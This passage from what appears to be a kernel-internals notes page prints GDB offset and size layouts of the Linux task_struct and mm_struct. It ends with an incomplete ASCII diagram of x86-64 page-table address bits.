/* 2416      |     8 */                u32 *uaddr;
/* 2424      |     4 */                u32 val;
/* 2428      |     4 */                u32 flags;
/* 2432      |     4 */                u32 bitset;
/* XXX  4-byte hole  */
/* 2440      |     8 */                u64 time;
/* 2448      |     8 */                u32 *uaddr2;

                                       /* total size (bytes):   40 */
                                   } futex;
/*                24 */            struct {
/* 2416      |     4 */                clockid_t clockid;
/* 2420      |     4 */                enum timespec_type type;
/* 2424      |     8 */                union {
/*                 8 */                    struct __kernel_timespec *rmtp;
/*                 8 */                    struct old_timespec32 *compat_rmtp;

                                           /* total size (bytes):    8 */
                                       };
/* 2432      |     8 */                u64 expires;

                                       /* total size (bytes):   24 */
                                   } nanosleep;
/*                32 */            struct {
/* 2416      |     8 */                struct pollfd *ufds;
/* 2424      |     4 */                int nfds;
/* 2428      |     4 */                int has_timeout;
/* 2432      |     8 */                unsigned long tv_sec;
/* 2440      |     8 */                unsigned long tv_nsec;

                                       /* total size (bytes):   32 */
                                   } poll;
/* XXX 24-byte padding  */

                                   /* total size (bytes):   40 */
                               };

                               /* total size (bytes):   56 */
                           } restart_block;
/* 2456      |     4 */    pid_t pid;
/* 2460      |     4 */    pid_t tgid;
/* 2464      |     8 */    unsigned long stack_canary;
/* 2472      |     8 */    struct task_struct *real_parent;
/* 2480      |     8 */    struct task_struct *parent;
/* 2488      |    16 */    struct list_head {
/* 2488      |     8 */        struct list_head *next;
/* 2496      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } children;
/* 2504      |    16 */    struct list_head {
/* 2504      |     8 */        struct list_head *next;
/* 2512      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } sibling;
/* 2520      |     8 */    struct task_struct *group_leader;
/* 2528      |    16 */    struct list_head {
/* 2528      |     8 */        struct list_head *next;
/* 2536      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } ptraced;
/* 2544      |    16 */    struct list_head {
/* 2544      |     8 */        struct list_head *next;
/* 2552      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } ptrace_entry;
/* 2560      |     8 */    struct pid *thread_pid;
/* 2568      |    64 */    struct hlist_node pid_links[4];
/* 2632      |    16 */    struct list_head {
/* 2632      |     8 */        struct list_head *next;
/* 2640      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } thread_group;
/* 2648      |    16 */    struct list_head {
/* 2648      |     8 */        struct list_head *next;
/* 2656      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } thread_node;
/* 2664      |     8 */    struct completion *vfork_done;
/* 2672      |     8 */    int *set_child_tid;
/* 2680      |     8 */    int *clear_child_tid;
/* 2688      |     8 */    void *worker_private;
/* 2696      |     8 */    u64 utime;
/* 2704      |     8 */    u64 stime;
/* 2712      |     8 */    u64 gtime;
/* 2720      |    24 */    struct prev_cputime {
/* 2720      |     8 */        u64 utime;
/* 2728      |     8 */        u64 stime;
/* 2736      |     4 */        raw_spinlock_t lock;
/* XXX  4-byte padding  */

                               /* total size (bytes):   24 */
                           } prev_cputime;
/* 2744      |     8 */    unsigned long nvcsw;
/* 2752      |     8 */    unsigned long nivcsw;
/* 2760      |     8 */    u64 start_time;
/* 2768      |     8 */    u64 start_boottime;
/* 2776      |     8 */    unsigned long min_flt;
/* 2784      |     8 */    unsigned long maj_flt;
/* 2792      |    80 */    struct posix_cputimers {
/* 2792      |    72 */        struct posix_cputimer_base bases[3];
/* 2864      |     4 */        unsigned int timers_active;
/* 2868      |     4 */        unsigned int expiry_active;

                               /* total size (bytes):   80 */
                           } posix_cputimers;
/* 2872      |    56 */    struct posix_cputimers_work {
/* 2872      |    16 */        struct callback_head {
/* 2872      |     8 */            struct callback_head *next;
/* 2880      |     8 */            void (*func)(struct callback_head *);

                                   /* total size (bytes):   16 */
                               } work;
/* 2888      |    32 */        struct mutex {
/* 2888      |     8 */            atomic_long_t owner;
/* 2896      |     4 */            raw_spinlock_t wait_lock;
/* 2900      |     4 */            struct optimistic_spin_queue {
/* 2900      |     4 */                atomic_t tail;

                                       /* total size (bytes):    4 */
                                   } osq;
/* 2904      |    16 */            struct list_head {
/* 2904      |     8 */                struct list_head *next;
/* 2912      |     8 */                struct list_head *prev;

                                       /* total size (bytes):   16 */
                                   } wait_list;

                                   /* total size (bytes):   32 */
                               } mutex;
/* 2920      |     4 */        unsigned int scheduled;
/* XXX  4-byte padding  */

                               /* total size (bytes):   56 */
                           } posix_cputimers_work;
/* 2928      |     8 */    const struct cred *ptracer_cred;
/* 2936      |     8 */    const struct cred *real_cred;
/* 2944      |     8 */    const struct cred *cred;
/* 2952      |     8 */    struct key *cached_requested_key;
/* 2960      |    16 */    char comm[16];
/* 2976      |     8 */    struct nameidata *nameidata;
/* 2984      |     8 */    struct sysv_sem {
/* 2984      |     8 */        struct sem_undo_list *undo_list;

                               /* total size (bytes):    8 */
                           } sysvsem;
/* 2992      |    16 */    struct sysv_shm {
/* 2992      |    16 */        struct list_head {
/* 2992      |     8 */            struct list_head *next;
/* 3000      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } shm_clist;

                               /* total size (bytes):   16 */
                           } sysvshm;
/* 3008      |     8 */    unsigned long last_switch_count;
/* 3016      |     8 */    unsigned long last_switch_time;
/* 3024      |     8 */    struct fs_struct *fs;
/* 3032      |     8 */    struct files_struct *files;
/* 3040      |     8 */    struct io_uring_task *io_uring;
/* 3048      |     8 */    struct nsproxy *nsproxy;
/* 3056      |     8 */    struct signal_struct *signal;
/* 3064      |     8 */    struct sighand_struct *sighand;
/* 3072      |     8 */    sigset_t blocked;
/* 3080      |     8 */    sigset_t real_blocked;
/* 3088      |     8 */    sigset_t saved_sigmask;
/* 3096      |    24 */    struct sigpending {
/* 3096      |    16 */        struct list_head {
/* 3096      |     8 */            struct list_head *next;
/* 3104      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } list;
/* 3112      |     8 */        sigset_t signal;

                               /* total size (bytes):   24 */
                           } pending;
/* 3120      |     8 */    unsigned long sas_ss_sp;
/* 3128      |     8 */    size_t sas_ss_size;
/* 3136      |     4 */    unsigned int sas_ss_flags;
/* XXX  4-byte hole  */
/* 3144      |     8 */    struct callback_head *task_works;
/* 3152      |     8 */    struct audit_context *audit_context;
/* 3160      |     4 */    kuid_t loginuid;
/* 3164      |     4 */    unsigned int sessionid;
/* 3168      |    16 */    struct seccomp {
/* 3168      |     4 */        int mode;
/* 3172      |     4 */        atomic_t filter_count;
/* 3176      |     8 */        struct seccomp_filter *filter;

                               /* total size (bytes):   16 */
                           } seccomp;
/* 3184      |    32 */    struct syscall_user_dispatch {
/* 3184      |     8 */        char *selector;
/* 3192      |     8 */        unsigned long offset;
/* 3200      |     8 */        unsigned long len;
/* 3208      |     1 */        bool on_dispatch;
/* XXX  7-byte padding  */

                               /* total size (bytes):   32 */
                           } syscall_dispatch;
/* 3216      |     8 */    u64 parent_exec_id;
/* 3224      |     8 */    u64 self_exec_id;
/* 3232      |     4 */    spinlock_t alloc_lock;
/* 3236      |     4 */    raw_spinlock_t pi_lock;
/* 3240      |     8 */    struct wake_q_node {
/* 3240      |     8 */        struct wake_q_node *next;

                               /* total size (bytes):    8 */
                           } wake_q;
/* 3248      |    16 */    struct rb_root_cached {
/* 3248      |     8 */        struct rb_root {
/* 3248      |     8 */            struct rb_node *rb_node;

                                   /* total size (bytes):    8 */
                               } rb_root;
/* 3256      |     8 */        struct rb_node *rb_leftmost;

                               /* total size (bytes):   16 */
                           } pi_waiters;
/* 3264      |     8 */    struct task_struct *pi_top_task;
/* 3272      |     8 */    struct rt_mutex_waiter *pi_blocked_on;
/* 3280      |     4 */    unsigned int in_ubsan;
/* XXX  4-byte hole  */
/* 3288      |     8 */    void *journal_info;
/* 3296      |     8 */    struct bio_list *bio_list;
/* 3304      |     8 */    struct blk_plug *plug;
/* 3312      |     8 */    struct reclaim_state *reclaim_state;
/* 3320      |     8 */    struct backing_dev_info *backing_dev_info;
/* 3328      |     8 */    struct io_context *io_context;
/* 3336      |     8 */    struct capture_control *capture_control;
/* 3344      |     8 */    unsigned long ptrace_message;
/* 3352      |     8 */    kernel_siginfo_t *last_siginfo;
/* 3360      |    56 */    struct task_io_accounting {
/* 3360      |     8 */        u64 rchar;
/* 3368      |     8 */        u64 wchar;
/* 3376      |     8 */        u64 syscr;
/* 3384      |     8 */        u64 syscw;
/* 3392      |     8 */        u64 read_bytes;
/* 3400      |     8 */        u64 write_bytes;
/* 3408      |     8 */        u64 cancelled_write_bytes;

                               /* total size (bytes):   56 */
                           } ioac;
/* 3416      |     4 */    unsigned int psi_flags;
/* XXX  4-byte hole  */
/* 3424      |     8 */    u64 acct_rss_mem1;
/* 3432      |     8 */    u64 acct_vm_mem1;
/* 3440      |     8 */    u64 acct_timexpd;
/* 3448      |   128 */    nodemask_t mems_allowed;
/* 3576      |     4 */    seqcount_spinlock_t mems_allowed_seq;
/* 3580      |     4 */    int cpuset_mem_spread_rotor;
/* 3584      |     4 */    int cpuset_slab_spread_rotor;
/* XXX  4-byte hole  */
/* 3592      |     8 */    struct css_set *cgroups;
/* 3600      |    16 */    struct list_head {
/* 3600      |     8 */        struct list_head *next;
/* 3608      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } cg_list;
/* 3616      |     4 */    u32 closid;
/* 3620      |     4 */    u32 rmid;
/* 3624      |     8 */    struct robust_list_head *robust_list;
/* 3632      |     8 */    struct compat_robust_list_head *compat_robust_list;
/* 3640      |    16 */    struct list_head {
/* 3640      |     8 */        struct list_head *next;
/* 3648      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } pi_state_list;
/* 3656      |     8 */    struct futex_pi_state *pi_state_cache;
/* 3664      |    32 */    struct mutex {
/* 3664      |     8 */        atomic_long_t owner;
/* 3672      |     4 */        raw_spinlock_t wait_lock;
/* 3676      |     4 */        struct optimistic_spin_queue {
/* 3676      |     4 */            atomic_t tail;

                                   /* total size (bytes):    4 */
                               } osq;
/* 3680      |    16 */        struct list_head {
/* 3680      |     8 */            struct list_head *next;
/* 3688      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   32 */
                           } futex_exit_mutex;
/* 3696      |     4 */    unsigned int futex_state;
/* XXX  4-byte hole  */
/* 3704      |     8 */    struct perf_event_context *perf_event_ctxp;
/* 3712      |    32 */    struct mutex {
/* 3712      |     8 */        atomic_long_t owner;
/* 3720      |     4 */        raw_spinlock_t wait_lock;
/* 3724      |     4 */        struct optimistic_spin_queue {
/* 3724      |     4 */            atomic_t tail;

                                   /* total size (bytes):    4 */
                               } osq;
/* 3728      |    16 */        struct list_head {
/* 3728      |     8 */            struct list_head *next;
/* 3736      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   32 */
                           } perf_event_mutex;
/* 3744      |    16 */    struct list_head {
/* 3744      |     8 */        struct list_head *next;
/* 3752      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } perf_event_list;
/* 3760      |     8 */    struct mempolicy *mempolicy;
/* 3768      |     2 */    short il_prev;
/* 3770      |     2 */    short pref_node_fork;
/* 3772      |     4 */    int numa_scan_seq;
/* 3776      |     4 */    unsigned int numa_scan_period;
/* 3780      |     4 */    unsigned int numa_scan_period_max;
/* 3784      |     4 */    int numa_preferred_nid;
/* XXX  4-byte hole  */
/* 3792      |     8 */    unsigned long numa_migrate_retry;
/* 3800      |     8 */    u64 node_stamp;
/* 3808      |     8 */    u64 last_task_numa_placement;
/* 3816      |     8 */    u64 last_sum_exec_runtime;
/* 3824      |    16 */    struct callback_head {
/* 3824      |     8 */        struct callback_head *next;
/* 3832      |     8 */        void (*func)(struct callback_head *);

                               /* total size (bytes):   16 */
                           } numa_work;
/* 3840      |     8 */    struct numa_group *numa_group;
/* 3848      |     8 */    unsigned long *numa_faults;
/* 3856      |     8 */    unsigned long total_numa_faults;
/* 3864      |    24 */    unsigned long numa_faults_locality[3];
/* 3888      |     8 */    unsigned long numa_pages_migrated;
/* 3896      |     8 */    struct rseq *rseq;
/* 3904      |     4 */    u32 rseq_len;
/* 3908      |     4 */    u32 rseq_sig;
/* 3912      |     8 */    unsigned long rseq_event_mask;
/* 3920      |     4 */    int mm_cid;
/* 3924      |     4 */    int last_mm_cid;
/* 3928      |     4 */    int migrate_from_cpu;
/* 3932      |     4 */    int mm_cid_active;
/* 3936      |    16 */    struct callback_head {
/* 3936      |     8 */        struct callback_head *next;
/* 3944      |     8 */        void (*func)(struct callback_head *);

                               /* total size (bytes):   16 */
                           } cid_work;
/* 3952      |  1032 */    struct tlbflush_unmap_batch {
/* 3952      |  1024 */        struct arch_tlbflush_unmap_batch {
/* 3952      |  1024 */            struct cpumask {
/* 3952      |  1024 */                unsigned long bits[128];

                                       /* total size (bytes): 1024 */
                                   } cpumask;

                                   /* total size (bytes): 1024 */
                               } arch;
/* 4976      |     1 */        bool flush_required;
/* 4977      |     1 */        bool writable;
/* XXX  6-byte padding  */

                               /* total size (bytes): 1032 */
                           } tlb_ubc;
/* 4984      |     8 */    struct pipe_inode_info *splice_pipe;
/* 4992      |    16 */    struct page_frag {
/* 4992      |     8 */        struct page *page;
/* 5000      |     4 */        __u32 offset;
/* 5004      |     4 */        __u32 size;

                               /* total size (bytes):   16 */
                           } task_frag;
/* 5008      |     8 */    struct task_delay_info *delays;
/* 5016      |     4 */    int nr_dirtied;
/* 5020      |     4 */    int nr_dirtied_pause;
/* 5024      |     8 */    unsigned long dirty_paused_when;
/* 5032      |     8 */    u64 timer_slack_ns;
/* 5040      |     8 */    u64 default_timer_slack_ns;
/* 5048      |     4 */    int curr_ret_stack;
/* 5052      |     4 */    int curr_ret_depth;
/* 5056      |     8 */    struct ftrace_ret_stack *ret_stack;
/* 5064      |     8 */    unsigned long long ftrace_timestamp;
/* 5072      |     4 */    atomic_t trace_overrun;
/* 5076      |     4 */    atomic_t tracing_graph_pause;
/* 5080      |     8 */    unsigned long trace_recursion;
/* 5088      |     8 */    struct mem_cgroup *memcg_in_oom;
/* 5096      |     4 */    gfp_t memcg_oom_gfp_mask;
/* 5100      |     4 */    int memcg_oom_order;
/* 5104      |     4 */    unsigned int memcg_nr_pages_over_high;
/* XXX  4-byte hole  */
/* 5112      |     8 */    struct mem_cgroup *active_memcg;
/* 5120      |     8 */    struct gendisk *throttle_disk;
/* 5128      |     8 */    struct uprobe_task *utask;
/* 5136      |     4 */    unsigned int sequential_io;
/* 5140      |     4 */    unsigned int sequential_io_avg;
/* 5144      |     0 */    struct kmap_ctrl {
        <no data fields>

                               /* total size (bytes):    0 */
                           } kmap_ctrl;
/* 5144      |    16 */    struct callback_head {
/* 5144      |     8 */        struct callback_head *next;
/* 5152      |     8 */        void (*func)(struct callback_head *);

                               /* total size (bytes):   16 */
                           } rcu;
/* 5160      |     4 */    refcount_t rcu_users;
/* 5164      |     4 */    int pagefault_disabled;
/* 5168      |     8 */    struct task_struct *oom_reaper_list;
/* 5176      |    40 */    struct timer_list {
/* 5176      |    16 */        struct hlist_node {
/* 5176      |     8 */            struct hlist_node *next;
/* 5184      |     8 */            struct hlist_node **pprev;

                                   /* total size (bytes):   16 */
                               } entry;
/* 5192      |     8 */        unsigned long expires;
/* 5200      |     8 */        void (*function)(struct timer_list *);
/* 5208      |     4 */        u32 flags;
/* XXX  4-byte padding  */

                               /* total size (bytes):   40 */
                           } oom_reaper_timer;
/* 5216      |     8 */    struct vm_struct *stack_vm_area;
/* 5224      |     4 */    refcount_t stack_refcount;
/* 5228      |     4 */    int patch_state;
/* 5232      |     8 */    void *security;
/* 5240      |     8 */    struct bpf_local_storage *bpf_storage;
/* 5248      |     8 */    struct bpf_run_ctx *bpf_ctx;
/* 5256      |     8 */    void *mce_vaddr;
/* 5264      |     8 */    __u64 mce_kflags;
/* 5272      |     8 */    u64 mce_addr;
/* 5280: 0   |     8 */    __u64 mce_ripv : 1;
/* 5280: 1   |     8 */    __u64 mce_whole_page : 1;
/* 5280: 2   |     8 */    __u64 __mce_reserved : 62;
/* 5288      |    16 */    struct callback_head {
/* 5288      |     8 */        struct callback_head *next;
/* 5296      |     8 */        void (*func)(struct callback_head *);

                               /* total size (bytes):   16 */
                           } mce_kill_me;
/* 5304      |     4 */    int mce_count;
/* XXX  4-byte hole  */
/* 5312      |     8 */    struct llist_head {
/* 5312      |     8 */        struct llist_node *first;

                               /* total size (bytes):    8 */
                           } kretprobe_instances;
/* 5320      |     8 */    struct llist_head {
/* 5320      |     8 */        struct llist_node *first;

                               /* total size (bytes):    8 */
                           } rethooks;
/* 5328      |    16 */    struct callback_head {
/* 5328      |     8 */        struct callback_head *next;
/* 5336      |     8 */        void (*func)(struct callback_head *);

                               /* total size (bytes):   16 */
                           } l1d_flush_kill;
/* XXX 32-byte hole  */
/* 5376      |  4416 */    struct thread_struct {
/* 5376      |    24 */        struct desc_struct tls_array[3];
/* 5400      |     8 */        unsigned long sp;
/* 5408      |     2 */        unsigned short es;
/* 5410      |     2 */        unsigned short ds;
/* 5412      |     2 */        unsigned short fsindex;
/* 5414      |     2 */        unsigned short gsindex;
/* 5416      |     8 */        unsigned long fsbase;
/* 5424      |     8 */        unsigned long gsbase;
/* 5432      |    32 */        struct perf_event *ptrace_bps[4];
/* 5464      |     8 */        unsigned long virtual_dr6;
/* 5472      |     8 */        unsigned long ptrace_dr7;
/* 5480      |     8 */        unsigned long cr2;
/* 5488      |     8 */        unsigned long trap_nr;
/* 5496      |     8 */        unsigned long error_code;
/* 5504      |     8 */        struct io_bitmap *io_bitmap;
/* 5512      |     8 */        unsigned long iopl_emul;
/* 5520: 0   |     4 */        unsigned int iopl_warn : 1;
/* 5520: 1   |     4 */        unsigned int sig_on_uaccess_err : 1;
/* XXX  6-bit hole   */
/* XXX  3-byte hole  */
/* 5524      |     4 */        u32 pkru;
/* XXX 40-byte hole  */
/* 5568      |  4224 */        struct fpu {
/* 5568      |     4 */            unsigned int last_cpu;
/* XXX  4-byte hole  */
/* 5576      |     8 */            unsigned long avx512_timestamp;
/* 5584      |     8 */            struct fpstate *fpstate;
/* 5592      |     8 */            struct fpstate *__task_fpstate;
/* 5600      |    16 */            struct fpu_state_perm {
/* 5600      |     8 */                u64 __state_perm;
/* 5608      |     4 */                unsigned int __state_size;
/* 5612      |     4 */                unsigned int __user_state_size;

                                       /* total size (bytes):   16 */
                                   } perm;
/* 5616      |    16 */            struct fpu_state_perm {
/* 5616      |     8 */                u64 __state_perm;
/* 5624      |     4 */                unsigned int __state_size;
/* 5628      |     4 */                unsigned int __user_state_size;

                                       /* total size (bytes):   16 */
                                   } guest_perm;
/* 5632      |  4160 */            struct fpstate {
/* 5632      |     4 */                unsigned int size;
/* 5636      |     4 */                unsigned int user_size;
/* 5640      |     8 */                u64 xfeatures;
/* 5648      |     8 */                u64 user_xfeatures;
/* 5656      |     8 */                u64 xfd;
/* 5664: 0   |     4 */                unsigned int is_valloc : 1;
/* 5664: 1   |     4 */                unsigned int is_guest : 1;
/* 5664: 2   |     4 */                unsigned int is_confidential : 1;
/* 5664: 3   |     4 */                unsigned int in_use : 1;
/* XXX  4-bit hole   */
/* XXX 31-byte hole  */
/* 5696      |  4096 */                union fpregs_state {
/*               112 */                    struct fregs_state {
/* 5696      |     4 */                        u32 cwd;
/* 5700      |     4 */                        u32 swd;
/* 5704      |     4 */                        u32 twd;
/* 5708      |     4 */                        u32 fip;
/* 5712      |     4 */                        u32 fcs;
/* 5716      |     4 */                        u32 foo;
/* 5720      |     4 */                        u32 fos;
/* 5724      |    80 */                        u32 st_space[20];
/* 5804      |     4 */                        u32 status;

                                               /* total size (bytes):  112 */
                                           } fsave;
/*               512 */                    struct fxregs_state {
/* 5696      |     2 */                        u16 cwd;
/* 5698      |     2 */                        u16 swd;
/* 5700      |     2 */                        u16 twd;
/* 5702      |     2 */                        u16 fop;
/* 5704      |    16 */                        union {
/*                16 */                            struct {
/* 5704      |     8 */                                u64 rip;
/* 5712      |     8 */                                u64 rdp;

                                                       /* total size (bytes):   16 */
                                                   };
/*                16 */                            struct {
/* 5704      |     4 */                                u32 fip;
/* 5708      |     4 */                                u32 fcs;
/* 5712      |     4 */                                u32 foo;
/* 5716      |     4 */                                u32 fos;

                                                       /* total size (bytes):   16 */
                                                   };
/* XXX  8-byte padding  */

                                                   /* total size (bytes):   16 */
                                               };
/* 5720      |     4 */                        u32 mxcsr;
/* 5724      |     4 */                        u32 mxcsr_mask;
/* 5728      |   128 */                        u32 st_space[32];
/* 5856      |   256 */                        u32 xmm_space[64];
/* 6112      |    48 */                        u32 padding[12];
/* 6160      |    48 */                        union {
/*                48 */                            u32 padding1[12];
/*                48 */                            u32 sw_reserved[12];

                                                   /* total size (bytes):   48 */
                                               };

                                               /* total size (bytes):  512 */
                                           } fxsave;
/*               136 */                    struct swregs_state {
/* 5696      |     4 */                        u32 cwd;
/* 5700      |     4 */                        u32 swd;
/* 5704      |     4 */                        u32 twd;
/* 5708      |     4 */                        u32 fip;
/* 5712      |     4 */                        u32 fcs;
/* 5716      |     4 */                        u32 foo;
/* 5720      |     4 */                        u32 fos;
/* 5724      |    80 */                        u32 st_space[20];
/* 5804      |     1 */                        u8 ftop;
/* 5805      |     1 */                        u8 changed;
/* 5806      |     1 */                        u8 lookahead;
/* 5807      |     1 */                        u8 no_update;
/* 5808      |     1 */                        u8 rm;
/* 5809      |     1 */                        u8 alimit;
/* XXX  6-byte hole  */
/* 5816      |     8 */                        struct math_emu_info *info;
/* 5824      |     4 */                        u32 entry_eip;
/* XXX  4-byte padding  */

                                               /* total size (bytes):  136 */
                                           } soft;
/*               576 */                    struct xregs_state {
/* 5696      |   512 */                        struct fxregs_state {
/* 5696      |     2 */                            u16 cwd;
/* 5698      |     2 */                            u16 swd;
/* 5700      |     2 */                            u16 twd;
/* 5702      |     2 */                            u16 fop;
/* 5704      |    16 */                            union {
/*                16 */                                struct {
/* 5704      |     8 */                                    u64 rip;
/* 5712      |     8 */                                    u64 rdp;

                                                           /* total size (bytes):   16 */
                                                       };
/*                16 */                                struct {
/* 5704      |     4 */                                    u32 fip;
/* 5708      |     4 */                                    u32 fcs;
/* 5712      |     4 */                                    u32 foo;
/* 5716      |     4 */                                    u32 fos;

                                                           /* total size (bytes):   16 */
                                                       };
/* XXX  8-byte padding  */

                                                       /* total size (bytes):   16 */
                                                   };
/* 5720      |     4 */                            u32 mxcsr;
/* 5724      |     4 */                            u32 mxcsr_mask;
/* 5728      |   128 */                            u32 st_space[32];
/* 5856      |   256 */                            u32 xmm_space[64];
/* 6112      |    48 */                            u32 padding[12];
/* 6160      |    48 */                            union {
/*                48 */                                u32 padding1[12];
/*                48 */                                u32 sw_reserved[12];

                                                       /* total size (bytes):   48 */
                                                   };

                                                   /* total size (bytes):  512 */
                                               } i387;
/* 6208      |    64 */                        struct xstate_header {
/* 6208      |     8 */                            u64 xfeatures;
/* 6216      |     8 */                            u64 xcomp_bv;
/* 6224      |    48 */                            u64 reserved[6];

                                                   /* total size (bytes):   64 */
                                               } header;
/* 6272      |     0 */                        u8 extended_state_area[];

                                               /* total size (bytes):  576 */
                                           } xsave;
/*              4096 */                    u8 __padding[4096];
/* XXX 4032-byte padding  */

                                           /* total size (bytes): 4096 */
                                       } regs;

                                       /* total size (bytes): 4160 */
                                   } __fpstate;

                                   /* total size (bytes): 4224 */
                               } fpu;

                               /* total size (bytes): 4416 */
                           } thread;

                           /* total size (bytes): 9792 */
                         }

mm_struct

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/* offset    |  size */  type = struct mm_struct {
/*    0      |  1232 */    struct {
/*    0      |    24 */        struct maple_tree {
/*    0      |     4 */            union {
/*                 4 */                spinlock_t ma_lock;
/*                 0 */                lockdep_map_p ma_external_lock;

                                       /* total size (bytes):    4 */
                                   };
/* XXX  4-byte hole  */
/*    8      |     8 */            void *ma_root;
/*   16      |     4 */            unsigned int ma_flags;
/* XXX  4-byte padding  */

                                   /* total size (bytes):   24 */
                               } mm_mt;
/*   24      |     8 */        unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
/*   32      |     8 */        unsigned long mmap_base;
/*   40      |     8 */        unsigned long mmap_legacy_base;
/*   48      |     8 */        unsigned long mmap_compat_base;
/*   56      |     8 */        unsigned long mmap_compat_legacy_base;
/*   64      |     8 */        unsigned long task_size;
/*   72      |     8 */        pgd_t *pgd;
/*   80      |     4 */        atomic_t membarrier_state;
/*   84      |     4 */        atomic_t mm_users;
/*   88      |     4 */        atomic_t mm_count;
/* XXX  4-byte hole  */
/*   96      |     8 */        struct mm_cid *pcpu_cid;
/*  104      |     8 */        unsigned long mm_cid_next_scan;
/*  112      |     8 */        atomic_long_t pgtables_bytes;
/*  120      |     4 */        int map_count;
/*  124      |     4 */        spinlock_t page_table_lock;
/*  128      |    40 */        struct rw_semaphore {
/*  128      |     8 */            atomic_long_t count;
/*  136      |     8 */            atomic_long_t owner;
/*  144      |     4 */            struct optimistic_spin_queue {
/*  144      |     4 */                atomic_t tail;

                                       /* total size (bytes):    4 */
                                   } osq;
/*  148      |     4 */            raw_spinlock_t wait_lock;
/*  152      |    16 */            struct list_head {
/*  152      |     8 */                struct list_head *next;
/*  160      |     8 */                struct list_head *prev;

                                       /* total size (bytes):   16 */
                                   } wait_list;

                                   /* total size (bytes):   40 */
                               } mmap_lock;
/*  168      |    16 */        struct list_head {
/*  168      |     8 */            struct list_head *next;
/*  176      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } mmlist;
/*  184      |     4 */        int mm_lock_seq;
/* XXX  4-byte hole  */
/*  192      |     8 */        unsigned long hiwater_rss;
/*  200      |     8 */        unsigned long hiwater_vm;
/*  208      |     8 */        unsigned long total_vm;
/*  216      |     8 */        unsigned long locked_vm;
/*  224      |     8 */        atomic64_t pinned_vm;
/*  232      |     8 */        unsigned long data_vm;
/*  240      |     8 */        unsigned long exec_vm;
/*  248      |     8 */        unsigned long stack_vm;
/*  256      |     8 */        unsigned long def_flags;
/*  264      |     4 */        seqcount_t write_protect_seq;
/*  268      |     4 */        spinlock_t arg_lock;
/*  272      |     8 */        unsigned long start_code;
/*  280      |     8 */        unsigned long end_code;
/*  288      |     8 */        unsigned long start_data;
/*  296      |     8 */        unsigned long end_data;
/*  304      |     8 */        unsigned long start_brk;
/*  312      |     8 */        unsigned long brk;
/*  320      |     8 */        unsigned long start_stack;
/*  328      |     8 */        unsigned long arg_start;
/*  336      |     8 */        unsigned long arg_end;
/*  344      |     8 */        unsigned long env_start;
/*  352      |     8 */        unsigned long env_end;
/*  360      |   416 */        unsigned long saved_auxv[52];
/*  776      |   160 */        struct percpu_counter rss_stat[4];
/*  936      |     8 */        struct linux_binfmt *binfmt;
/*  944      |   128 */        mm_context_t context;
/* 1072      |     8 */        unsigned long flags;
/* 1080      |     4 */        spinlock_t ioctx_lock;
/* XXX  4-byte hole  */
/* 1088      |     8 */        struct kioctx_table *ioctx_table;
/* 1096      |     8 */        struct task_struct *owner;
/* 1104      |     8 */        struct user_namespace *user_ns;
/* 1112      |     8 */        struct file *exe_file;
/* 1120      |     8 */        struct mmu_notifier_subscriptions *notifier_subscriptions;
/* 1128      |     8 */        unsigned long numa_next_scan;
/* 1136      |     8 */        unsigned long numa_scan_offset;
/* 1144      |     4 */        int numa_scan_seq;
/* 1148      |     4 */        atomic_t tlb_flush_pending;
/* 1152      |     4 */        atomic_t tlb_flush_batched;
/* XXX  4-byte hole  */
/* 1160      |     8 */        struct uprobes_state {
/* 1160      |     8 */            struct xol_area *xol_area;

                                   /* total size (bytes):    8 */
                               } uprobes_state;
/* 1168      |     8 */        atomic_long_t hugetlb_usage;
/* 1176      |    32 */        struct work_struct {
/* 1176      |     8 */            atomic_long_t data;
/* 1184      |    16 */            struct list_head {
/* 1184      |     8 */                struct list_head *next;
/* 1192      |     8 */                struct list_head *prev;

                                       /* total size (bytes):   16 */
                                   } entry;
/* 1200      |     8 */            work_func_t func;

                                   /* total size (bytes):   32 */
                               } async_put_work;
/* 1208      |     4 */        u32 pasid;
/* XXX  4-byte hole  */
/* 1216      |     8 */        unsigned long ksm_merging_pages;
/* 1224      |     8 */        unsigned long ksm_rmap_items;

                               /* total size (bytes): 1232 */
                           };
/* 1232      |     0 */    unsigned long cpu_bitmap[];

                           /* total size (bytes): 1232 */
                         }

图形表示

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20231109093641811.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌────────┬────────┬────────┬────────┬────────┬────────┬────────┬────────┐
63....5655....4847....4039....3231....2423....1615.....87......0
└┬───────┴────────┴┬───────┴─┬──────┴──┬─────┴───┬────┴────┬───┴────────┘
                                                      
                                                      
                                                [11:0] Direct translation
                                             
                                             └─► [20:12] PTE
                                    
                                    └───────────► [29:21] PMD
                           
